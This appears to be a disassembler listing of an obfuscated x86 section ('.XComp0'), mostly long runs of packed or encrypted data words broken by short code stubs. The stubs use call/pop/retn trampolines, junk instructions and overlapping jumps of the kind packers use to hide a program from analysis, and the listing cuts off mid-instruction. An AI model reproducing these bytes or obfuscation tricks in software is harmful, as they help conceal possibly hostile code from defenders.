0AC2878EAh dd 6C1C5DFEh, 0EC992996h, 0C3551125h, 7C976297h, 29966D01h dd 40B55477h, 0F887569h, 61CE60AFh, 8F7F78B2h, 1F96932Fh dd 9D5A0574h, 3D29E423h, 0D6719749h, 1D9A5F48h, 96434ABDh dd 9D4DF485h, 0A2B47123h, 11086h, 638C6000h, 405CB38Dh dd 33FEB3A8h, 4FD2060Eh, 0C49000Bh, 0EB47AEA8h, 0DC720EDAh dd 70596603h, 0C2483778h, 0CC5C4BDh, 2E7D089h, 0D804F303h dd 19FBBE2Fh, 53DA19E1h, 59FA1F22h, 29961220h, 0FB4EE09Dh dd 2996175Dh, 9677585Fh, 45A44A1Fh, 85BC65A8h, 960DA3D6h dd 0D3632029h, 0AC617E69h, 0DE27B129h, 0B5DA046Bh, 0CD74BD39h dd 59808D32h, 9649BFBAh, 0AF3F3C29h, 5F81D182h, 4F4C2F8Fh dd 5AAD0DAAh, 6B8B7E5Dh, 0D30F99D1h, 0E02B912Eh, 1D1A3CEDh dd 992403FEh, 0A914AB29h, 9ABC6D60h, 0C2497362h, 5E5D207h dd 9A8281E5h, 0DE1342D7h, 0D9329C23h, 47F105D4h, 0F0CB3CA0h dd 0BFD0C686h, 3994A192h, 0E6000001h, 0F7DE060Bh, 0E10438D7h dd 0EDD80CF7h, 0E40339CCh, 57ED0FF8h, 0CA3D9DDAh, 209B312h dd 39D0FBDAh, 12FBE403h, 242F08EAh, 2393F159h, 8CCF71D6h dd 5275A760h, 7E79A06Dh, 7524A95Eh, 87B257E1h, 9685B1CCh dd 0DD712E29h, 0AA638C57h, 1AE09D6Fh, 1AF942EBh, 95B980F9h dd 0C900FD29h, 12BBBC25h, 46CE46FBh, 2D8D1F35h, 8D44C725h dd 0D9BCF69h, 0EAD52CD5h, 5FF20401h, 2F989C5Bh, 0CAB36099h dd 5523939Dh, 4F36D10Dh, 0AE5B4BF7h, 98C37088h, 2393A7E5h dd 696CA562h, 729137C0h, 8C31AE7Bh, 617E6D81h, 92D6558Fh dd 0D8A3450h, 6D945DB0h, 4D6D6C52h, 0AB6633BAh, 55DF6F2Ah dd 0CDC04D72h, 0B57D2046h, 9553262h, 0ABCC6F65h, 0BAB615Bh dd 2AE30CEBh, 23EAD3F2h, 213207B2h, 0E4728B58h, 0E70628D5h dd 2CA5E602h, 0CE5D7870h, 1089203h, 17F6D7D5h, 180BEAE2h dd 36259C2Ah, 1BF11620h, 0CC839454h, 0D9EC1BDCh, 0B9C2A408h dd 22E724CAh, 0D00DD0Ch, 0B02EBD4h, 0A63FCF8Ah, 17BFh dd 0DCFDFA00h, 0CE2F0529h, 8595E873h, 0E3122996h, 0CD9C11F8h dd 0C086F204h, 29AC658Ch, 696CA13Eh, 23AA5F7Eh, 7C719A44h dd 35B84F7Bh, 787D8A32h, 3ABB4A6Fh, 75788B2Dh, 0CCC14E72h dd 5E10681Bh, 0C890000h, 76556824h, 3C890000h, 1BDD6824h dd 0C890000h, 2A09BF24h, 687DFFh, 29000000h, 4F5F243Ch dd 0C102EFC1h, 0EF8105E7h, 0A042F9Eh, 40F868h, 24248900h dd 4240481h, 59000000h, 4EC81h, 3C890000h, 8418F24h, 592434FFh dd 4C481h, 3C8B0000h, 0E7895724h, 4C781h, 0C7810000h, 4 dd 5C243C87h, 0F6E895E9h, 0E050A7FFh, 0FD744458h, 0D18B1270h dd 4B8B0DCh, 3060296h, 8AE0FFC5h, 4F49042Dh, 2E4539D8h dd 0FD4160E8h, 0F210CBFEh, 601B42E2h, 1B652FAFh, 502D2042h dd 74437FFAh, 0B902A25Dh, 9D38FBACh, 8D480A59h, 297568Dh dd 0BD01FC06h, 5F92BE1h, 0CDD8D89h, 6A05F9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F947AC3h dd 0D816C6F0h, 99ECE5Dh, 0F93129BDh, 0C185C705h, 0AC05F926h dd 6A000071h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 9CE0C353h, 0ED9D012Eh, 0C705F92Dh dd 0F900FD85h, 5, 6880F00h, 8B000000h, 0F921F9B5h, 99B5FF05h dd 0F805F917h, 20D595FFh, 8D2905F9h, 5F90A61h, 95FF006Ah dd 5F91AEDh, 68EBC08Bh, 0F33E03A5h, 0CBB6E9EAh, 990EEF2h dd 55251F25h, 0B907AFB6h, 0EDF738BEh, 2D25E73Ah, 0FB275666h dd 308E5F40h, 0F1EED5F2h dd 0EF18B2BDh, 7499A94Eh, 72635F0h, 6C7DC276h, 43AA2A48h dd 21AB4772h, 5EA79C27h, 0E32A333Bh, 21BE00ECh, 9908A23Ch dd 7401305h, 13042660h, 0CAFFEA51h, 4A66C989h, 0A61F500Ch dd 69F162DFh, 98A08D8Dh, 6A0602h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 817FDEC3h, 815DEEC9h dd 0BBB8A1CAh, 0DD8D8963h, 2905F90Ch, 0F92E9D9Dh, 0C185C705h dd 2405F926h, 6A000066h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0AFCC353h, 2129C9C2h dd 20099589h, 85C705F9h, 5F900FDh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_604E2F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_604E2F proc near ; CODE XREF: .XComp0:00604E27p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_604E2F endp ; --------------------------------------------------------------------------- add ebx, [edi] xor esp, [eax+0Fh] mov bh, 0D0h and edi, [ebp+5F91111h] popa push dword ptr [ebp+5F916DDh] push 0 push edx call sub_604E5E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_604E5E proc near ; CODE XREF: .XComp0:00604E56p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_604E5E endp ; --------------------------------------------------------------------------- dw 721Dh dd 0E1B23C91h, 80152623h, 0FFF78B66h, 0F920D595h, 0E6816605h dd 6A24E3h, 1AED95FFh, 0C08B05F9h, 7D494BEBh, 848AA61h dd 0ECDBEE1Fh, 3D39D7B8h, 0EA714778h, 2D86E19Fh, 0CAA5F809h dd 6144B347h, 0A3F2BEB3h, 4BD1E09Fh, 0CE2733A6h, 0D2C5FC20h dd 61E00F04h, 5B3F87B7h, 0B2B49B3Eh, 19DBC189h, 6AE2D934h dd 71941453h, 259E70B9h, 0BC8D8DAEh, 6A060299h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0AD87C357h, 8D8928B2h, 5F90CDDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0EBC35141h, 772531C0h, 261FD003h dd 0A59D89E9h, 0C705F909h, 0F926C185h, 727C05h, 2DBD0900h dd 0C705F91Eh, 0F900FD85h, 5, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0B32B27C6h dd 0DEB536E8h, 4BE9A0Fh, 0FF5867A9h, 0F90FD9B5h, 14E905h dd 5B540000h, 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh, 0DA318F24h dd 95FF1D95h, 5F920D5h, 1421958Bh, 6A05F9h, 1AED95FFh dd 0C08B05F9h, 50400CEBh, 596D0723h, 0FCD87FDFh, 0FE94A5Dh dd 0A2000000h, 5D4BA7h, 2 dup(0) dd 30E90000h, 0A6000007h, 0B71EC64Bh, 0A144F817h, 0AD18CC37h dd 0A443F90Ch, 172DCF38h, 0AFDDD9Ah, 42C9F3D2h, 79903B9Ah dd 52BB24C3h, 0E46F48AAh, 2393EC99h, 8C0FB116h, 0B2537863h dd 32A36E3Bh, 8F30A545h, 85ACCD8Eh, 7C292996h, 0A06940B5h dd 6774597Ch, 25128382h, 995045C8h, 55149950h, 7157866Ah dd 38B75792h, 6E974497h, 75BC4771h, 808733CCh, 31BA5C0Dh dd 7448AA46h, 0CFE1DD6Eh, 20974287h, 3FA84EBFh, 82739438h dd 41B45775h, 0CF8FDBACh, 6F7D695Eh, 3944CF4Eh, 0B62995CFh dd 0CF3F3AD9h, 0BFBC2995h, 0D82B8D0Ah, 0E1E4E811h, 89F340EEh dd 46B18BABh, 40B762A7h, 0B0696C9Dh, 7263A247h, 3A9D97B7h dd 0A0BB8693h, 2995A9DDh, 0EB8EAD5Ah, 612995A9h, 51088D78h dd 0C079B06Dh, 0D6789737h, 6A536C0Dh, 7A6493A3h, 88D7C5Fh dd 75159851h, 97E271C8h, 142995A9h, 2A38C767h, 0B66E9B42h dd 0BA5FAE0Fh, 0A9A9D47Fh, 89262995h, 95A9AFCAh, 0BA6F2C29h dd 11AE4B94h, 95B85EA9h, 2995A9E1h, 74566186h, 52807F8Fh dd 0C3B6659Ch, 402995A9h, 0A9B5C853h, 75322995h, 0FB759ABCh dd 0CB4D2F81h, 0C0239349h, 0B0468760h, 9674h, 31CECE00h dd 96C57C87h, 299685E3h, 6493A360h, 215E757Bh, 0F089CAh dd 0B06D2996h, 7BFFF35Ch, 46748BB6h, 0A95099BDh, 8EBE1123h dd 8DA17469h, 9664BDBAh, 59856029h, 2F7CF36Dh, 0DD7EC34Dh dd 2996589Ch, 5ECA6C19h, 1, 79648CA8h, 6435B853h, 5D8B74ADh dd 0D47A2FA6h, 4BC42C0Bh, 80283E96h, 6B9BD565h, 0B41522CBh dd 28D15C51h, 0D9DC2B8Fh, 0FA7A2DE3h, 935EF4D4h, 98568483h dd 494CBB1Fh, 4F6F7E90h, 0D43A43D0h, 0CAB72995h, 0D5FADDFFh dd 0CE2A0438h, 8595E873h, 15122996h, 0BCAF201h, 0D8A429E0h dd 4A193120h, 864B865Dh, 15C8280Fh, 886154B7h, 0EDD84C41h dd 28DF0BE1h, 21ECD1F4h, 0E61DCBACh, 0B09E69EFh, 651843FEh dd 0DB29961Dh, 0C49518EFh, 0FC1125E2h, 4D2F3490h, 0C615h dd 608CEF00h, 658572A7h, 54538CA2h, 0B6EAD66h, 0C3299686h dd 9685E598h, 41A56229h, 6B548D44h, 5306877Eh, 0F6B32AC3h dd 20BB44Bh, 3C3DDE8Bh, 0C7299685h, 0F25F65h, 0F7A41A98h dd 0B2BAA857h, 0FD44FD0Ah, 95881B5Eh, 0F4EB9829h, 1E183EC7h dd 1F413B7h, 0EE1DBF38h, 0CD1C32E7h, 0F71EFCECh, 489A0CEBh dd 7F5F5881h, 6B0A73A0h, 9A872996h, 4126BF4Fh, 7A7D709Bh dd 0A53FB653h, 2ECA94C2h, 38CDEE09h, 0BFBE716h, 4D2F47A1h dd 7C06h, 73CEE000h, 968595E8h, 0F6251229h, 29968583h dd 28CE0300h, 0EFE621C9h, 0B124E508h, 0EDE025C6h, 0A528E50Ah dd 4B133F38h, 604C9A75h, 6B456E7Ch, 0B2EFACE0h, 0CE6BC577h dd 14D74946h, 35E6AC00h, 29959C44h, 0E90DC4C1h, 1A39E60Ah dd 29959C5Fh, 0E3EA1FDCh, 959C1A60h, 0CF349629h, 17F2D9DEh dd 22300796h, 0A168A54Ah, 945A885Fh, 4F46BD2Bh, 0DD8F749Ah dd 9A4D2FB4h, 1, 0A55E8C6Ch, 516E8930h, 2FA6638Ah, 509FAF7Ah dd 10179E6Fh, 50575EAFh, 8914996Ah, 64FEA0AEh, 25E8F5D7h dd 3915A313h, 44D9FBD3h, 5DF12385h, 0EBCB09Eh, 8D1B4FF5h dd 9D54BB23h, 68947064h, 58E099BAh, 0A05D2996h, 0EA0EA44Ch dd 0E712E744h, 95BF512Ch, 3DD1CE29h, 8EE1240Ah, 8F4A372Fh dd 4029C728h, 0ECC55BDEh, 0BD47AAFh, 0C744666Eh, 0C40FBCD1h dd 0C11AC332h, 0E7EE19h, 2DE42DDEh, 2EEFD0F7h, 9CE08CEDh dd 8EFF0923h, 2E6279B5h, 73AE63AEh, 0A54A26A1h, 35D99BDFh dd 9C5427ACh, 0ECCE239Ch, 29919617h, 9C4C2DEEh, 0DCC9239Ch dd 3A0DA015h, 91A6722Ch, 9CD2AB68h, 524F239Ch, 5D113DBCh dd 1D907D62h, 8A57684Ch, 964FECC2h, 8F4C7180h, 2D7DE2Dh dd 49A512C7h, 14EFD9C6h, 308D3802h, 3EDD24DDh, 239D5F3Bh dd 0D42F99B8h, 2DC108E1h, 8A1FF5B4h, 4BC845E0h, 6E4F9EB0h dd 5F7D7A9Fh, 0DE7029ACh, 4EBB2205h, 8C7D6047h, 0AEBC8B09h dd 3CC374F0h, 66A74893h, 0DF6F2AABh, 953A3220h, 4BB2CB88h dd 722F239Dh, 508A82B7h, 0A6678872h, 3A927A2Fh, 0A48EA0D7h dd 0D6E2815Bh, 1AB4648h, 0FFA00000h, 31083169h, 4DE126C6h dd 8F918CFAh, 0A115EF2Fh, 92E21A71h, 5382FB18h, 2FF239Dh dd 0AC8B02C7h, 0F512CA43h, 536E0F4Ch, 3EEB239Dh, 19F4D918h dd 0EAD594h, 37D79203h, 4BF617B8h, 531465F6h, 9491239Dh dd 1CEB6982h, 3AD920CEh, 239D523Fh, 0FBF215B5h, 2BCBB82Eh dd 2FEA23CCh, 5230490Ah, 0F0AD239Dh, 510BD45Eh, 1648D66Eh dd 86h, 1BF0CEE9h, 92FBF9Ah, 0C1865FFh, 0B23BA58Eh, 3AC4DF68h dd 0C40DD1A5h, 0D61BF2DBh, 0E22B942Bh, 1B183EEBh, 0EF10EEE6h dd 94705C1Dh, 508ECF82h, 2C4BA996h, 0A44548C1h, 96510677h dd 4B8683A9h, 0F9840F86h, 6FA99650h, 0EACDC04Fh, 76071401h dd 0F3A99650h, 0EFAFB36h, 6133EBF7h, 77657458h, 0A5CD3994h dd 0FB647291h, 67124161h, 0E4A995DCh, 0C47F237h, 2995DC51h dd 0AEB110Eh, 0B9h, 0E526C82Fh, 69FFEB51h, 0CDEF0831h dd 4CE2B73Eh, 3B9D1ADFh, 214C5C8h, 8F86374Fh, 3CE5A22Fh dd 0E7EE15C3h, 0E4C31C32h, 4DEA12FBh, 0BA34CC7h, 0E608AE0Ch dd 0A627E607h, 5C1D3E03h, 0D9239D6Eh, 31470A2Ch, 0B1239D6Fh dd 0EFF8FD08h, 0CC4E3FCEh, 734D113Dh, 17A04E9Ch, 34C353B2h dd 0EE5A828Bh, 5CF72278h, 29A006EFh, 4538E3D0h, 0C21D9AD3h dd 0FFD50CC5h, 0F3C9593Eh, 0ABCE8DA1h, 281D9B51h, 47A0B67Bh dd 538E7F60h, 70867F6Ch, 0BD4E7077h, 97E27138h, 141D9B51h dd 0BF507067h, 91BD4CCEh, 88D635CDh, 0C4278117h, 0C6558C45h dd 239DEB81h, 4FBC229Dh, 924A37BFh, 8D31CE7Ch, 0B85E0B82h dd 39E03AACh, 991F2D1Ah, 9C110E2Fh, 43BE329Bh, 0C9804216h dd 2CDFFDFAh, 339F0A9h, 9B12FBE4h, 0DD8052F8h, 87D3A47Eh dd 1AEBD0E7h, 0E12A9493h, 6E70628h, 0CDF2D507h, 816A4D40h dd 0C9261184h, 8A665144h, 3D481085h, 56B54D11h, 52BB2408h dd 6BA24BAAh, 37B6Ah, 0FC50000h, 0AC658C39h, 6CA13E29h dd 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h dd 788B2D3Ah, 0C14E7275h, 89561BCCh, 4C681E6h, 83000000h dd 348704EEh, 4895C24h, 2186824h, 3C890000h, 2D796824h dd 0C890000h, 7C685524h, 5D4D9B00h, 6696ED81h, 81554798h dd 7A352404h, 815F3847h, 477A35EFh, 8B545D38h, 0C481240Ch dd 4, 339868h, 243C8900h, 0FF08418Fh, 83592434h, 3C8B04C4h dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0F6DDFDE9h dd 98AF01FFh, 0B84DE174h, 602A099h, 0E0FFC503h, 577734CDh dd 8BE1191h, 32012965h, 5A2DF8B0h, 69ACFCB5h, 7BE31028h dd 3EAB9F2Eh, 5272C3C0h, 86631Ah, 66466F28h, 240B5CEDh dd 730355B5h, 3D657B43h, 29F4567h, 5F676967h, 13C5555Bh dd 64B3EC86h, 39497C77h, 66194AAh, 5884798Eh, 2A187655h dd 10EBh, 3 dup(0) dd 0C08B0000h, 0C9BD83F8h, 5F931h, 0BD830975h, 5F912B5h dd 50197400h, 0B8C08B53h, 42Dh, 28E98589h, 9D8D05F9h, 5FBF384h dd 585BD3FFh, 12B5BD83h, 740005F9h, 0B8535017h, 42Dh, 28E98589h dd 9D8D05F9h, 5FBF073h, 585BD3FFh, 6AD1B70Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 5105C352h, 3D30DF44h, 38B6C7E9h, 958BC08Bh, 5F90CF1h dd 7BD8D8Bh, 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0A08EDC3h, 0F80EB566h, 0F98370h dd 70840Fh, 64FC0000h, 2C3D8Bh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 91FAF9C3h dd 2EF99533h, 0FF0B05F9h, 3C840Fh, 3F8B0000h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 34C35141h, 0F4D958Bh dd 0C03205F9h, 2CAD8D89h, 0AAF305F9h, 88B0Fh, 29570000h dd 0F914759Dh, 49355A05h, 6A535041h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 667FC350h dd 0C62147BAh, 0F9189985h, 6A4705h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8531B4C3h dd 5F927F9h, 10E9h, 0DC82B400h, 0AAADBh, 0CC74F52Ch, 7521E98Fh dd 66206886h, 0BA669B02h, 3481815Dh, 0D4EE0C24h, 50006A47h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0C2F6F9B4h, 1114BEFDh, 0FFD18A5Ch, 0F908D1B5h, 0CE816605h dd 840FDDE1h, 1, 10858DFCh, 8B05FCC5h, 0F91F5995h, 85958B05h dd 0FF05F926h, 8EBA66D0h, 41B58B10h, 8905F919h, 0F9089585h dd 0C8D0F05h, 0F000000h, 68Bh, 8C0F00h, 0C6000000h, 0F9189985h dd 6A5305h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 3DA21BC3h, 0FE90E93h, 0FC000000h, 75A107E7h dd 4F5D4B06h, 0B14D43BBh, 81669879h, 0E820C3D2h, 4, 88986AFCh dd 67BA6650h, 24448B7Fh, 0BE525004h, 263F613Ch, 0F1BA310Fh dd 5A279E2Fh, 89008B58h, 8B042444h, 6A58D3h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 605733C3h dd 14E9h, 0B0716D00h, 21431E1h, 0C8DC49AEh, 901AD84Dh dd 4BB70585h, 3D8D091Ch, 6105F928h, 0D1B5FF5Eh, 0E905F908h dd 0Ah, 5BCD9275h, 59C4A1D4h, 858DA3A0h, 5FCC510h, 0FF85DE80h dd 0FD9533D0h, 8D05F933h, 0FC7A0885h, 85950B05h, 8905F934h dd 0F9249185h, 0C5858905h, 6A05F911h, 0FFFF6A20h, 0F9249195h dd 41493505h, 85C75350h, 5F91825h, 1, 162985C7h, 5F9h dd 52530000h, 25AD9509h, 5A5A05F9h, 6C5858Bh, 0B70F05F9h dd 0A364F0h, 83000000h, 0F929B9BDh, 840F0005h, 54h, 1241B50Bh dd 858B05F9h, 5F913F5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0D9C35646h, 0BFF2E2D1h, 0EC56FDEAh, 6AE08BA5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0A10CC350h, 0C293F10Ch, 1581BD83h, 0F0005F9h dd 48185h, 0F38B6600h, 189985C6h, 895605F9h, 0F9209185h dd 484E6805h, 890FA6ADh, 2, 481D38Bh, 17E89124h, 0B1E68103h dd 0FF1C8257h, 0F908D1B5h, 0F6816605h, 858D9C1Dh, 5FCC510h dd 0AE9h, 24297200h, 16A046E3h, 0FF77A802h, 88E280D0h dd 7E990h, 0ABAA0000h, 11B28C7Ah, 0D38B5032h, 50E28190h dd 0F1DAE65h, 86h, 8D8D8D00h, 8905F914h, 0F9066D85h, 0C1952B05h dd 9105F92Eh, 61B65250h, 0E850310Fh, 9, 2B67E54h, 0CDB17908h dd 5A5E5AF8h, 0F28B5058h, 50006A91h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 88B74C46h dd 0B52B3AA7h, 5F915E5h, 4E8046Ah, 0 dd 53000010h, 5ED38B66h, 48F0F50h, 50000000h, 8B5A6160h dd 0F042444h, 783h, 0EBBA5600h, 5A7A3AEBh, 4489008Bh, 4BA0424h dd 58085E54h, 2731958Bh, 0B5FF05F9h, 5F914CDh, 2B99B52Bh dd 0D0FF05F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0ACC35141h, 14E9FDh, 0A2ED0000h, 756E6F8Fh, 7426501Dh dd 0FCED3927h, 38CD7180h, 0BD8BC69Ch, 5F914CDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0D7C35545h, 0B57BE0A9h dd 0DAD958Bh, 7F0305F9h, 798D293Ch, 8905F910h, 0F91AD585h dd 0F8C78105h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 26FCC356h, 0C2CB6678h dd 202447C7h, 0E9600000h, 13h, 7663CC5h, 7CE55A36h, 8B9500E9h dd 0FF747E22h, 8314A014h, 2A175BDh, 840F0006h, 1C9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AC35646h, 2914F6F3h dd 402ABAC6h, 0BE966ADh, 0C3000000h, 0DD21C14Fh, 2622632Eh dd 0C783D376h, 0C7D7B628h, 696A2E07h, 51006A64h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 600CFAC2h, 750940F5h, 8BE18FBAh, 0CE873h, 449F0000h dd 34EA91Dh, 4CB9E559h, 0B58BA790h, 5F929CDh, 447C75Ah dd 617461h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0FBC35545h, 0C11501B5h, 858BD8AFh, 602A17Dh, 1F8DBD89h dd 478905F9h, 0F985290Ch, 8B05F92Ah, 2A18185h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0D3EF5393h, 7E9D8h, 6E0F0000h, 80D972D5h, 1DB52974h dd 8905F925h, 0BE80847h, 3F000000h, 0C542E470h, 1DCCA2D8h dd 8D0FCA61h, 6, 830Fh, 835E0000h, 0DE928C7h, 62000000h dd 0B08CE0C4h, 0BADD55F2h, 0A80AC225h, 632E07C7h, 6A6E6Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 5B0103C3h, 0F340BF68h, 9D896052h, 5F932DDh, 8B0Fh, 5E610000h dd 660447C7h, 6A006769h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 8101C351h, 858B2AFBh dd 602A179h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0FEC35747h, 41B529h, 478905F9h, 77C8BE0Ch, 858B5D8Fh dd 602A175h, 4789D18Bh, 59BA6608h, 6A5827h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0F78A0CC3h dd 7B6AC681h, 8D8D0DEEh, 5F91705h, 1AB19D89h, 0E89105F9h dd 12h, 0EE143D7Dh, 0E39645C2h, 405D2238h, 126661E1h, 21BA9211h dd 5A75126Fh, 0D18B5750h, 8589915Eh, 5F91259h, 148DB5FFh dd 0BE6605F9h, 0FB680811h, 0F97128Bh, 581h, 0CE65BE00h dd 4814D0Eh, 0ED840524h, 53006A68h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0C869A611h, 6091AAD0h dd 0FCD88B66h, 0CDB5FF61h, 0F05F914h, 68Ch, 59D0100h, 0FF05F92Eh dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 99E6D8B9h, 63D9D89h, 5E5005F9h, 810Fh, 0B80000h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 1BA8C351h, 66F4DE18h, 0BB1D3BAh dd 24840FC0h, 66000000h, 8D0FF18Bh, 2, 0B5FFFDB2h, 5F90E11h dd 0C280F18Bh, 0D595FF2Ch, 0F05F920h, 286h, 8B80B600h dd 0BF0F60C0h, 899D8BDEh, 6105F913h, 31C9BD83h, 750005F9h dd 0B5BD8309h, 5F912h, 53501974h, 2DB8C08Bh, 89000004h dd 0F915DD85h, 0EB9D8D05h, 0FF05FBF3h, 83585BD3h, 0F912B5BDh dd 17740005h, 2DB85350h, 89000004h, 0F915DD85h, 8C9D8D05h dd 0FF05FBF0h, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0B750C353h, 7072DACh dd 8DE68181h, 15780D3h, 0F921A9BDh, 6AC08B05h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0BFB7C351h, 0D9968BD9h, 0FD51FC2Ch, 5E9h, 0EA601B00h dd 10E835B8h, 24000000h, 220A5CF5h, 110F9B47h, 0CEA78C85h dd 0E9FD0EA0h, 0Eh, 0DB2E454Ah, 4D5C062Ch, 7A38CB44h, 8B5EC21Bh dd 14E8C0h, 6C30000h, 0C40500F9h, 0BB8F4E7Dh, 0AAF12583h dd 9FD08338h, 9D897D77h, 5F9184Dh, 0D9852958h, 8105F905h dd 6EA2C0h, 38D0F00h, 57000000h, 7BBF5AF8h, 6600001Bh dd 0D3CEC981h, 8A0F188Bh, 0Eh, 9E9h, 16ED5B00h, 7E4D3EB5h dd 0F381D68Dh, 4D801DF3h, 81CA8B66h, 9DCFFDF3h, 8114B25Eh dd 14B5A5F3h, 1889F847h, 6C19D09h, 0E88305F9h, 35958B04h dd 4F05F913h, 1C850Fh, 0B58B0000h, 5F91685h, 2FE9h, 1D0C8D00h dd 8B266121h, 73594925h, 29A52139h, 85296A95h, 5F90849h dd 0FFFF93E9h, 0E1C0BBFFh, 9D71B0E1h, 40BD5F05h, 71C9FA01h dd 0AF69F7D4h, 0AC588D8Dh, 6A0602h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0E2DC9BC3h dd 3446AF8Fh, 0FD9D3360h, 6605F906h, 3485E881h, 0DD8D8961h dd 6A05F90Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 199C357h, 0F94C2711h, 26C185C7h dd 64A405F9h, 8D890000h, 5F9003Dh, 455BD8Bh, 85C705F9h dd 5F900FDh, 0 ; --------------------------------------------------------------------------- mov [ebp+5F909CDh], edi add edi, [ebp+5F92749h] push dword ptr [ebp+5F92409h] push 0 push esi call sub_606215 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_606215 proc near ; CODE XREF: .XComp0:0060620Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_606215 endp ; --------------------------------------------------------------------------- align 2 add esi, ecx sbb dh, [esi] ja short loc_606286 mov [ebp+5F910C9h], edx mov edx, [ebp+5F91039h] call dword ptr [ebp+5F920D5h] push 0 call dword ptr [ebp+5F91AEDh] ; CODE XREF: .XComp0:0060628Bj mov eax, eax jmp short near ptr loc_6062C5+1 ; --------------------------------------------------------------------------- dw 8CA1h dd 0A6E3C483h, 0C0696E1Bh, 2C02B2CFh, 68FBCF7Fh, 0CFE6E65Fh dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BA2114CEh, 0D148A11h dd 8409A153h, 9030BC6Eh, 56D8895Bh, 0F9F5891h ; --------------------------------------------------------------------------- push ebp dec eax loc_606286: ; CODE XREF: .XComp0:0060622Aj cmp eax, 20241831h jb short near ptr loc_606240+3 scasb jnz short loc_6062ED leave repne push esp insb sar dword ptr [edi], 1 movsd loc_606297: ; CODE XREF: .XComp0:0060629Dj db 67h test eax, 59774B10h loope loc_606297 int 0B9h ; used by BASIC while in interpreter and al, 0F3h push 42BDAA7h xchg ch, [edx] mov eax, 0D8F588F5h jb short loc_6062CF popa add eax, 78F8466Bh clc stosb or [edi+3DFB2236h], ebx xor ch, [edx+3] push ebp db 64h daa loc_6062C5: ; CODE XREF: .XComp0:00606248j imul ecx, [ebp+2AD8E8Dh], 56006A06h loc_6062CF: ; CODE XREF: .XComp0:006062AFj call sub_6062D7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6062D7 proc near ; CODE XREF: .XComp0:loc_6062CFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_6062D7 endp ; --------------------------------------------------------------------------- db 4Ch dd 0C2050EF8h db 2Ah ; --------------------------------------------------------------------------- loc_6062ED: ; CODE XREF: .XComp0:0060628Ej mov [ebp+5F90CDDh], ecx push 0 push ebp call sub_6062FE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6062FE proc near ; CODE XREF: .XComp0:006062F6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_6062FE endp ; --------------------------------------------------------------------------- xor ecx, 